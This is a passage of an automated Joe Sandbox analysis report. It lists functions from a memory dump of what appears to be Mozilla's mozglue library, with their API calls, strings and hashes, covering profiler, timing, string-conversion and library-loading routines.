UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Strings

QzO/, xrefs: 6C53AC29

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: QzO/
API String ID: 1192971331-117776061
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C518ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

name, xrefs: 6C518F16
marker-chart, xrefs: 6C51905E
marker-table, xrefs: 6C51906C
stack-chart, xrefs: 6C5190B2
timeline-memory, xrefs: 6C519088
timeline-ipc, xrefs: 6C519096
QzO/, xrefs: 6C518ED9
data, xrefs: 6C5190E8
timeline-fileio, xrefs: 6C5190A4
timeline-overview, xrefs: 6C51907A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: QzO/$data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-4276528233
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4D3480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

kernel32.dll, xrefs: 6C4D34EA
QzO/, xrefs: 6C4D3488
GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$QzO/$kernel32.dll
API String ID: 3634367004-2325458507
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

(null), xrefs: 6C4FC596
0, xrefs: 6C4FD30A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C529D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Strings

QzO/, xrefs: 6C529D0E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: QzO/
API String ID: 956590011-117776061
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

inf, xrefs: 6C4FC78F
nan, xrefs: 6C4FC7A8
INF, xrefs: 6C4FC794
NAN, xrefs: 6C4FC7AD

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C535D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Strings

QzO/, xrefs: 6C535D19

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: QzO/
API String ID: 2325513730-117776061
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C4E9620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
ntdll.dll, xrefs: 6C4E96E3
QzO/, xrefs: 6C4E959E, 6C4E9632
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$QzO/$ntdll.dll
API String ID: 409848716-1028981012
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C520F40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Strings

QzO/, xrefs: 6C520F58

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: QzO/
API String ID: 2803333873-117776061
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C520000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B
QzO/, xrefs: 6C520012

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: QzO/$[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-3952337379
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89
QzO/, xrefs: 6C4E7E9C, 6C4E7F2B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
